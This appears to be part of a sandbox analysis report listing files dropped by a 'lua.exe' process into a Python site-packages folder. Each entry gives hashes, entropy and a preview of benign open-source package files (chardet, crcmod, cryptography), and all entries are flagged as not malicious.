C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\version.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	242
Entropy (8bit):	4.9466079118032145
Encrypted:	false
SSDEEP:	6:2EJMHUYLQBHmZvDDntuFFeHNDdESzQPXqMC42VUQF6fIX:8HYGZvVuaXE7vqMUHMIX
MD5:	635CDDE23A2245E469D2C0557BA7A938
SHA1:	3B960A058E546F057A0F7F389D14BB1A63E78190
SHA-256:	0380882C501DF0C4551B51E85CFA78E622BD44B956C95EF76B512DC04F13BE7F
SHA-512:	937F00D9761BF3F181B99C6CAFEED49C20C9FF14B653F900B9E8A841CE26C2F92E469F0F1C788A9DDD3851A26F05AFC6E619E7A0FF09F9B0B22E3286ED44577E
Malicious:	false
Preview:	""".This module exists only to simplify retrieving the version number of chardet.from within setup.py and from chardet subpackages...:author: Dan Blanchard (dan.blanchard@gmail.com)."""..__version__ = "4.0.0".VERSION = __version__.split('.').

C:\ProgramData\ShellExperienceHost\Lib\site-packages\crcmod-1.7.dist-info\INSTALLER Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\crcmod-1.7.dist-info\LICENSE Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1249
Entropy (8bit):	5.04070494667132
Encrypted:	false
SSDEEP:	24:LirmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF9:LiaJHlxE35QHOs5exm3ogF9
MD5:	F9A19291627CAD2D1DFBFCF3C9FB85C2
SHA1:	3EB0123465010AD9F22C49106E26776969C7BCB2
SHA-256:	89480768826F408DAEA1F3CAFF0509C2CC9606E10F6BB0CCFD12A3D604842C35
SHA-512:	29541796FD09CD8F58219C98C2A746968450D1ADC1DFB7EAFBE176BA4C6FA455F70DD015FD5FF3AB278A9573B9E01FF8748373383443EC60CD6C659AD0709572
Malicious:	false
Preview:	----------------------------------------------------------------------------.Copyright (c) 2010 Raymond L. Buvel.Copyright (c) 2010 Craig McQueen..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR

C:\ProgramData\ShellExperienceHost\Lib\site-packages\crcmod-1.7.dist-info\METADATA Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5229
Entropy (8bit):	4.846161954007381
Encrypted:	false
SSDEEP:	96:DjuwqzQIhjVMjaacaR+oU3WbIyAwHkBxOXJbTuyE7LNAP6jPqxgqvzGK:fIo6Wb95ppGL+P6LqiK
MD5:	AB922C1674D4D9F69A8A0356A92120CC
SHA1:	499BC209B98FBB2A3312EE27E7A8621E1774123B
SHA-256:	0781A005195519B65AEDBB6FE9D8D79DBC5A2B446CCBB3FA0F456014CDCB6AFB
SHA-512:	A38052447C6BBEB251C3A5E2E92322BE41279F8C1FE935DDD09A4BC42279E2BD6268EB99004C008E5B34B8E409F45C9D152FD164F7C1F6289760BBDF4B067D28
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: crcmod.Version: 1.7.Summary: CRC Generator.Home-page: http://crcmod.sourceforge.net/.Author: Ray Buvel.Author-email: rlbuvel@gmail.com.License: MIT.Download-URL: http://sourceforge.net/projects/crcmod.Platform: UNKNOWN.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: Intended Audience :: Education.Classifier: Intended Audience :: End Users/Desktop.Classifier: Intended Audience :: Information Technology.Classifier: Intended Audience :: Science/Research.Classifier: License :: OSI Approved :: MIT License.Classifier: Operating System :: OS Independent.Classifier: Programming Language :: C.Classifier: Programming Language :: C++.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 2.Classifier: Programming Language :: Python :: 2.4.Classifier: Programming Language :: Python :: 2.5.Classifier: Programming Language :: Python :: 2.6.Classifier: Programming Language ::

C:\ProgramData\ShellExperienceHost\Lib\site-packages\crcmod-1.7.dist-info\RECORD Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.849684276155682
Encrypted:	false
SSDEEP:	24:an/2zDNvxXolXAaEsJMeT+blHVC76t8im9oOWF14LqyZk:anuXNZYlXAa5JMe6blHVC7O8iwoOWF15
MD5:	97AEB70CCAD640E041A8E945A4FC8876
SHA1:	62C69BCDC551CEC9262CB27A8CDB4B77C79FFC3C
SHA-256:	C022901B1BCB86704B9A0CEFC91DC5DCA6BBCC27A526CA22D48C15377E235515
SHA-512:	8A88D3F944626F2CA294DE119508328F654272572EAF29E04BB20332D3D541787CE5D26AAFF914AEB517E76151C84B3D32B67F61822BEB5EDE405E6E765D95BE
Malicious:	false
Preview:	crcmod-1.7.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..crcmod-1.7.dist-info/LICENSE,sha256=iUgHaIJvQI2uofPK_wUJwsyWBuEPa7DM_RKj1gSELDU,1249..crcmod-1.7.dist-info/METADATA,sha256=B4GgBRlVGbZa7btv6djXnbxaK0Rsy7P6D0VgFM3Lavs,5229..crcmod-1.7.dist-info/RECORD,,..crcmod-1.7.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..crcmod-1.7.dist-info/WHEEL,sha256=OqRkF0eY5GHssMorFjlbTIq072vpHpF60fIQA6lS9xA,92..crcmod-1.7.dist-info/top_level.txt,sha256=cAzaN03P6VQ8WGDLTMMtjwtm-Nm-xzRFhEdYAVSHLY0,7..crcmod/__init__.py,sha256=CPAYCR1UEkQ-odKmeqN0rEW2DRUNyAl94O7DGFgv3Wo,194..crcmod/__pycache__/__init__.cpython-37.pyc,,..crcmod/__pycache__/_crcfunpy.cpython-37.pyc,,..crcmod/__pycache__/crcmod.cpython-37.pyc,,..crcmod/__pycache__/predefined.cpython-37.pyc,,..crcmod/__pycache__/test.cpython-37.pyc,,..crcmod/_crcfunpy.py,sha256=BGuKDD40o5kgI12HjlAi7WlR33QDFFStr1i95GUuqiA,3702..crcmod/crcmod.py,sha256=LONNVL0hChZ4UWHVyuC5GJSkuoVF6KbwR7sIIJpnKds,16610..c

C:\ProgramData\ShellExperienceHost\Lib\site-packages\crcmod-1.7.dist-info\WHEEL Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	92
Entropy (8bit):	4.842566724466667
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlViHoKKjP+tPCCfA5S:RtBMwlViQWBBf
MD5:	11AA48DBE7E7CC631B11DD66DC493AEB
SHA1:	249FDB01AD3E3F71356E33E1897D06F23CFB20C2
SHA-256:	3AA464174798E461ECB0CA2B16395B4C8AB4EF6BE91E917AD1F21003A952F710
SHA-512:	EDD5892C9B2FE1F2439C53D2CD05F4478EC360885054BD06AFCF7936F6D066377FEE07796DAE9ECDF810E3D6100E039CAD48F00AD0E3145693D53E844CC5319D
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.36.2).Root-Is-Purelib: true.Tag: py3-none-any..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\crcmod-1.7.dist-info\top_level.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7
Entropy (8bit):	2.5216406363433186
Encrypted:	false
SSDEEP:	3:0k:0k
MD5:	DEE9F49FD48366B96CC4F2530A805376
SHA1:	EC013A848E717F241E1D11E029CC5C631DBD40F1
SHA-256:	700CDA374DCFE9543C5860CB4CC32D8F0B66F8D9BEC734458447580154872D8D
SHA-512:	F80AC80C77E25707286B1CAC148921DA13138F45A90D0227899D7385DF320F8353607A0AA57BF1702F4768F431B8B7982947BA2BD03D5F80A890D660A8CC2218
Malicious:	false
Preview:	crcmod.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\crcmod\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	194
Entropy (8bit):	4.161784120000959
Encrypted:	false
SSDEEP:	6:1mQjxlLQRIaBkAefpLXwWSE9xmfMm2xlLQPkAeC6rZ6E:MQNKRxBJSRwrE92p6KPkBrEE
MD5:	69E9562916AF5A4E875E05938E4445B8
SHA1:	6991C51F4D8D2FECC0574EB67B2AD598CABF36CD
SHA-256:	08F018091D5412443EA1D2A67AA374AC45B60D150DC8097DE0EEC318582FDD6A
SHA-512:	1D92848A2E7B0FA2840CF3189D5A9432B182D46BD94AB12DC5CCAAF56F89C53022FB4A4357CDEB05FDCB51BB582397FCD42A42378D2AD3701E036C59FC4705C9
Malicious:	false
Preview:	try:. from crcmod.crcmod import . import crcmod.predefined.except ImportError:. # Make this backward compatible. from crcmod import . import predefined.__doc__ = crcmod.__doc__.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\crcmod\_crcfunpy.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3702
Entropy (8bit):	5.082949493394892
Encrypted:	false
SSDEEP:	96:I0d+I+WhuQHWSowT8yz5Fz5QeBI5gH59cdg5T/5G6Bg52X5RnRg5v3w:D+I+7QHWSh8+3bemoadDGMv2Bw
MD5:	2F365507B16F4DDDB2175EB6B5203F63
SHA1:	276E7674B55760D4C7DF2C6768C43723F69E3EBA
SHA-256:	046B8A0C3E34A39920235D878E5022ED6951DF74031454ADAF58BDE4652EAA20
SHA-512:	77C31AC5E436EF51E794CA87644F1EA102F5E118DA29436F82AC0277E68DEDC9C1FCF0A8FBEA64D444FC8562445A85C0521A3B1914FAC035DA45781884A2B4D2
Malicious:	false
Preview:	#-----------------------------------------------------------------------------.# Low level CRC functions for use by crcmod. This version is implemented in.# Python for a couple of reasons. 1) Provide a reference implememtation..# 2) Provide a version that can be used on systems where a C compiler is not.# available for building extension modules..#.# Copyright (c) 2009 Raymond L. Buvel.# Copyright (c) 2010 Craig McQueen.#.# Permission is hereby granted, free of charge, to any person obtaining a copy.# of this software and associated documentation files (the "Software"), to deal.# in the Software without restriction, including without limitation the rights.# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.# copies of the Software, and to permit persons to whom the Software is.# furnished to do so, subject to the following conditions:.# .# The above copyright notice and this permission notice shall be included in.# all copies or substantial portions of the S

C:\ProgramData\ShellExperienceHost\Lib\site-packages\crcmod\crcmod.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	16610
Entropy (8bit):	4.731501649308755
Encrypted:	false
SSDEEP:	192:6QHWS8QVTFDoYDSe55bBnhea7a1ozHAYqA9tlJrfvSiK+mulTiX761QiK8RKqxoz:6jS3hZoK5blhRgIlF6i9UUHYqwx
MD5:	72A8641CA82748E1DA18D2C060D0169F
SHA1:	EC28B5069CAD341480C01EE773E9E31FEB98A080
SHA-256:	2CE34D54BD210A16785161D5CAE0B91894A4BA8545E8A6F047BB08209A6729DB
SHA-512:	79127557FD0EDC7CFA5328DC5FC8510916B145312B773917CA7B3F408E7994B572B9BA0FBF38F5A0599C86A493F12A520F319DD1C0D3854878646BB7436AE8EE
Malicious:	false
Preview:	#-----------------------------------------------------------------------------.# Copyright (c) 2010 Raymond L. Buvel.# Copyright (c) 2010 Craig McQueen.#.# Permission is hereby granted, free of charge, to any person obtaining a copy.# of this software and associated documentation files (the "Software"), to deal.# in the Software without restriction, including without limitation the rights.# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.# copies of the Software, and to permit persons to whom the Software is.# furnished to do so, subject to the following conditions:.# .# The above copyright notice and this permission notice shall be included in.# all copies or substantial portions of the Software..# .# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.# AUTHORS OR COPYRIGHT HOLDERS B

C:\ProgramData\ShellExperienceHost\Lib\site-packages\crcmod\predefined.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9606
Entropy (8bit):	4.780657075344822
Encrypted:	false
SSDEEP:	192:FQHWSoK5hJ6O9bP3nR22yhu4IH8f1Y/Z2dUp1yN0crMawiK7hLAbfCT:FjSoK5hJ6O9bP3nMrhu4IH8f1cZ2dAYK
MD5:	428DA20E50B6A61B04BDAAA437B8338E
SHA1:	36C2053CD136D8A435BA5376B2BC6ADFA6500FD8
SHA-256:	6957449A0D0D120463A2AADF33161A92991E814362A77F5CCC7A38A4D71A8F9E
SHA-512:	4E8DBCF00D10835FEED8AC0698BA7962D6069CEF54C8C357C693FBB24D1F4F5C56C67FE7EB90A75F5F79135535A5D43B9D7E73E0F60797318FE779BE772FDB2F
Malicious:	false
Preview:	#-----------------------------------------------------------------------------.# Copyright (c) 2010 Craig McQueen.#.# Permission is hereby granted, free of charge, to any person obtaining a copy.# of this software and associated documentation files (the "Software"), to deal.# in the Software without restriction, including without limitation the rights.# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.# copies of the Software, and to permit persons to whom the Software is.# furnished to do so, subject to the following conditions:.# .# The above copyright notice and this permission notice shall be included in.# all copies or substantial portions of the Software..# .# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER

C:\ProgramData\ShellExperienceHost\Lib\site-packages\crcmod\test.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	18433
Entropy (8bit):	4.8508744262918535
Encrypted:	false
SSDEEP:	192:6QHWSSTrWJ/zoPd7MO8Uj7Di9XZ+jvYMMj2cUqOx+C0ishKbqlQsQJwTDtqF7zqZ:6jSBzoldjcYxM/zCebu3IwqiOiK
MD5:	C208C614B8ED979A0A45ECCF3ECBCC50
SHA1:	1851520E5358F6E3556853CB985294009951490D
SHA-256:	0723D05A13A369A8261B65081358932A54E7905B6C50C4281A42A3510F7F191A
SHA-512:	9821DBCC9193D380C1931AA63B111764F41CD9AD832D97FB65B1B0FD728D0B5E178350195FDD4165D9D3F02D3B836AAC5D3C4F70CCB6494F285EB2955EE9500B
Malicious:	false
Preview:	#-----------------------------------------------------------------------------.# Copyright (c) 2010 Raymond L. Buvel.# Copyright (c) 2010 Craig McQueen.#.# Permission is hereby granted, free of charge, to any person obtaining a copy.# of this software and associated documentation files (the "Software"), to deal.# in the Software without restriction, including without limitation the rights.# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.# copies of the Software, and to permit persons to whom the Software is.# furnished to do so, subject to the following conditions:.# .# The above copyright notice and this permission notice shall be included in.# all copies or substantial portions of the Software..# .# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.# AUTHORS OR COPYRIGHT HOLDERS B

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography-3.3.1.dist-info\AUTHORS.rst Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	UTF-8 Unicode text
Category:	dropped
Size (bytes):	2475
Entropy (8bit):	5.403379114408003
Encrypted:	false
SSDEEP:	48:40kBtxEukYWS7Gs0qjUvI4E3yLJcISFdqEnMKScf3g5kQN26GcniFEnA/B:6txEukssv0iLJc1Fd9ZSgVQN26TnueA
MD5:	9C3ACB375812B3915D58B89C653FE892
SHA1:	A5DF3981C751CECC203A35014D1D05FA2150AF04
SHA-256:	32829394FEB23A69CB0BF2976AB1D540FD2C22D064D7576D67B2F3574561341D
SHA-512:	D5469F7E654C1D7AED09C59827371DC01E1BD29B719B31E8C48A3DCA7600BA7590A02221C3019CDB1486EE5858C5A5595C278FFCDA52604B21024A2093FDC965
Malicious:	false
Preview:	AUTHORS.=======..PGP key fingerprints are enclosed in parentheses...* Alex Gaynor <alex.gaynor@gmail.com> (E27D 4AA0 1651 72CB C5D2 AF2B 125F 5C67 DFE9 4084).* Hynek Schlawack <hs@ox.cx> (C2A0 4F86 ACE2 8ADC F817 DBB7 AE25 3622 7F69 F181).* Donald Stufft <donald@stufft.io>.* Laurens Van Houtven <_@lvh.io> (D9DC 4315 772F 8E91 DD22 B153 DFD1 3DF7 A8DD 569B).* Christian Heimes <christian@python.org>.* Paul Kehrer <paul.l.kehrer@gmail.com> (05FD 9FA1 6CF7 5735 0D91 A560 235A E5F1 29F9 ED98).* Jarret Raim <jarito@gmail.com>.* Alex Stapleton <alexs@prol.etari.at> (A1C7 E50B 66DE 39ED C847 9665 8E3C 20D1 9BD9 5C4C).* David Reid <dreid@dreid.org> (0F83 CC87 B32F 482B C726 B58A 9FBF D8F4 DA89 6D74).* Matthew Lefkowitz <glyph@twistedmatrix.com> (06AB F638 E878 CD29 1264 18AB 7EC2 8125 0FBC 4A07).* Konstantinos Koukopoulos <koukopoulos@gmail.com> (D6BD 52B6 8C99 A91C E2C8 934D 3300 566B 3A46 726E).* Stephen Holsapple <sholsapp@gmail.com>.* Terry Chia <terrycwk1994@gmail.com>.* Matthew Iverse

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography-3.3.1.dist-info\INSTALLER Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography-3.3.1.dist-info\LICENSE Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	4.554768229532207
Encrypted:	false
SSDEEP:	6:h9Co8FyQjkDYc5tWreLBF/pn2mHr2DASvUSBT5+FL8tjivzn:h9aVM/mrGzRsvUSBT5+J8li7n
MD5:	BF405A8056A6647E7D077B0E7BC36ABA
SHA1:	36C43938EFD5C62DDEC283557007E4BDFB4E0797
SHA-256:	43DAD2CC752AB721CD9A9F36ECE70FB53AB7713551F2D3D8694D8E8C5A06D6E2
SHA-512:	16590110B2F659D9C131B2093E05D30919A67368154305DCFE8D54FB88525F49F9F9F385A77BA5BCBEA8092061011D72B1BCC65CDC784BCFDDE10CE4DCE5586F
Malicious:	false
Preview:	This software is made available under the terms of either of the licenses.found in LICENSE.APACHE or LICENSE.BSD. Contributions to cryptography are made.under the terms of both these licenses...The code used in the OS random engine is derived from CPython, and is licensed.under the terms of the PSF License Agreement..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography-3.3.1.dist-info\LICENSE.APACHE Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	11360
Entropy (8bit):	4.426756947907149
Encrypted:	false
SSDEEP:	192:nUDG5KXSD9VYUKhu1JVF9hFGvV/QiGkS594drFjuHYx5dvTrLh3kTSEnQHbHR:UIvlKM1zJlFvmNz5VrlkTS0QHt
MD5:	4E168CCE331E5C827D4C2B68A6200E1B
SHA1:	DE33EAD2BEE64352544CE0AA9E410C0C44FDF7D9
SHA-256:	AAC73B3148F6D1D7111DBCA32099F68D26C644C6813AE1E4F05F6579AA2663FE
SHA-512:	F451048E81A49FBFA11B49DE16FF46C52A8E3042D1BCC3A50AAF7712B097BED9AE9AED9149C21476C2A1E12F1583D4810A6D36569E993FE1AD3879942E5B0D52
Malicious:	false
Preview:	. Apache License. Version 2.0, January 2004. https://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that control, are controlled by, or are under common. control with that entity. For the purposes of this definition,. "control" means (i) the power, direct or indirect, to cause the. direction or management of such entity, whether by contract or. otherwise, or (ii) ownership of fifty percent (50%) or more of the. outstanding shares, or (iii) beneficial ow

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography-3.3.1.dist-info\LICENSE.BSD Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1532
Entropy (8bit):	5.058591167088024
Encrypted:	false
SSDEEP:	24:MjUnoorbOFFTJJyRrYFTjzMbmqEvBTP4m96432s4EOkUTKQROJ32s3yxsITf+3tY:MkOFJSrYJsaN5P406432svv32s3EsIqm
MD5:	5AE30BA4123BC4F2FA49AA0B0DCE887B
SHA1:	EA5B412C09F3B29BA1D81A61B878C5C16FFE69D8
SHA-256:	602C4C7482DE6479DD2E9793CDA275E5E63D773DACD1ECA689232AB7008FB4FB
SHA-512:	DDBB20C80ADBC8F4118C10D3E116A5CD6536F72077C5916D87258E155BE561B89EB45C6341A1E856EC308B49A4CB4DBA1408EABD6A781FBE18D6C71C32B72C41
Malicious:	false
Preview:	Copyright (c) Individual contributors..All rights reserved...Redistribution and use in source and binary forms, with or without.modification, are permitted provided that the following conditions are met:.. 1. Redistributions of source code must retain the above copyright notice,. this list of conditions and the following disclaimer... 2. Redistributions in binary form must reproduce the above copyright. notice, this list of conditions and the following disclaimer in the. documentation and/or other materials provided with the distribution... 3. Neither the name of PyCA Cryptography nor the names of its contributors. may be used to endorse or promote products derived from this software. without specific prior written permission...THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND.ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED.WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOS

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography-3.3.1.dist-info\LICENSE.PSF Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	UTF-8 Unicode text
Category:	dropped
Size (bytes):	2415
Entropy (8bit):	5.015031803022437
Encrypted:	false
SSDEEP:	48:xUXyp7TEJzIXFCPXB/XF/gwHsV3XF2iDaGkiCXF1u0A2s/8AMUiioTqNyPhIXF+v:KXG3EJ0EPX9rsV3ZdkZ8oAShTkyZIYAw
MD5:	43C37D21E1DBAD10CDDCD150BA2C0595
SHA1:	ACF6B1628B04FE43A99071223CDBD7B66691C264
SHA-256:	693EC0A662B39F995A4F252B03A6222945470C1B6F12CA02918E4EFE0DF64B9F
SHA-512:	96D7C63AD24F7543599F0FED919948E486B35D01694BE02D980A8BA3D2A8B5A0E42341D940841D3528F56F09A582D32B3E81DED44BB3AAD1874C92650CB08129
Malicious:	false
Preview:	1. This LICENSE AGREEMENT is between the Python Software Foundation ("PSF"), and. the Individual or Organization ("Licensee") accessing and otherwise using Python. 2.7.12 software in source or binary form and its associated documentation...2. Subject to the terms and conditions of this License Agreement, PSF hereby. grants Licensee a nonexclusive, royalty-free, world-wide license to reproduce,. analyze, test, perform and/or display publicly, prepare derivative works,. distribute, and otherwise use Python 2.7.12 alone or in any derivative. version, provided, however, that PSF's License Agreement and PSF's notice of. copyright, i.e., "Copyright . 2001-2016 Python Software Foundation; All Rights. Reserved" are retained in Python 2.7.12 alone or in any derivative version. prepared by Licensee...3. In the event Licensee prepares a derivative work that is based on or. incorporates Python 2.7.12 or any part thereof, and wants to make the. derivative work available to ot

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography-3.3.1.dist-info\METADATA Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5061
Entropy (8bit):	5.128334355242689
Encrypted:	false
SSDEEP:	96:DD4y4WQIUQIhQIKQILbQIRIjaamPktxsx61A0ivAEYaCF0KrE2jQech5mjvE2osr:NacPuPBs6u0ivAEYaCF0KrE2jE0jvE2j
MD5:	8D3598F5FD83E942F61E9593F20A831A
SHA1:	048AEE64342CFB2144D1D27E91BE953A466A459E
SHA-256:	85B77C81DFA9DC6F754500EF6F1027FF278376FD0A1FDB6F681420519CA388C0
SHA-512:	1D117E76577591CCA0AC3E202F1431D84D425E10A781B5245AB45DB5C9565F3A05B179BCAF1C41CA3766406D05B38778A8EAA022399C93099C369B6BFB88640D
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: cryptography.Version: 3.3.1.Summary: cryptography is a package which provides cryptographic recipes and primitives to Python developers..Home-page: https://github.com/pyca/cryptography.Author: The cryptography developers.Author-email: cryptography-dev@python.org.License: BSD or Apache License, Version 2.0.Platform: UNKNOWN.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: Apache Software License.Classifier: License :: OSI Approved :: BSD License.Classifier: Natural Language :: English.Classifier: Operating System :: MacOS :: MacOS X.Classifier: Operating System :: POSIX.Classifier: Operating System :: POSIX :: BSD.Classifier: Operating System :: POSIX :: Linux.Classifier: Operating System :: Microsoft :: Windows.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 2.Classifier: Programming Language :: Python :: 2.7.Classifier: Programm

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography-3.3.1.dist-info\RECORD Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	15452
Entropy (8bit):	5.530611105249037
Encrypted:	false
SSDEEP:	192:1X1nNY9YSm8wre15vIWXxk2Yy/xKTpHGoOhVZqNW/AxN8Eb9:1XJ+mh8wrY5vIWlYy/xKTpHtOhVZ8p
MD5:	BC00ABCFA5D5027406F6B5269B3B7FAD
SHA1:	BAAD994E468B581FE9B2FA18569826E3D889D09F
SHA-256:	C076989CC862816B0E5ED067EBA3BBF79070950E689A047B30CE979BF349CD4E
SHA-512:	EEAF4D7610EF015A29A6AE37EFBB24F662E53C1D67747058E2110527B6D3E09DCC17406C3674A8828277B90A5FD8859CDC45891CB4A9E1D0D977D748CECF3EE0
Malicious:	false
Preview:	cryptography-3.3.1.dist-info/AUTHORS.rst,sha256=MoKTlP6yOmnLC_KXarHVQP0sItBk11dtZ7LzV0VhNB0,2475..cryptography-3.3.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..cryptography-3.3.1.dist-info/LICENSE,sha256=Q9rSzHUqtyHNmp827OcPtTq3cTVR8tPYaU2OjFoG1uI,323..cryptography-3.3.1.dist-info/LICENSE.APACHE,sha256=qsc7MUj20dcRHbyjIJn2jSbGRMaBOuHk8F9leaomY_4,11360..cryptography-3.3.1.dist-info/LICENSE.BSD,sha256=YCxMdILeZHndLpeTzaJ15eY9dz2s0eymiSMqtwCPtPs,1532..cryptography-3.3.1.dist-info/LICENSE.PSF,sha256=aT7ApmKzn5laTyUrA6YiKUVHDBtvEsoCkY5O_g32S58,2415..cryptography-3.3.1.dist-info/METADATA,sha256=hbd8gd-p3G91RQDvbxAn_yeDdv0KH9tvaBQgUZyjiMA,5061..cryptography-3.3.1.dist-info/RECORD,,..cryptography-3.3.1.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..cryptography-3.3.1.dist-info/WHEEL,sha256=JR9h7KKe5NaT-MEx7K4Mr4spU7A8Rx79smi0Xdo5n28,96..cryptography-3.3.1.dist-info/top_level.txt,sha256=rR2wh6A6juD02TBZNJqqonh8x9UP9Sa5Z9Hl1pCPCiM,31..cry

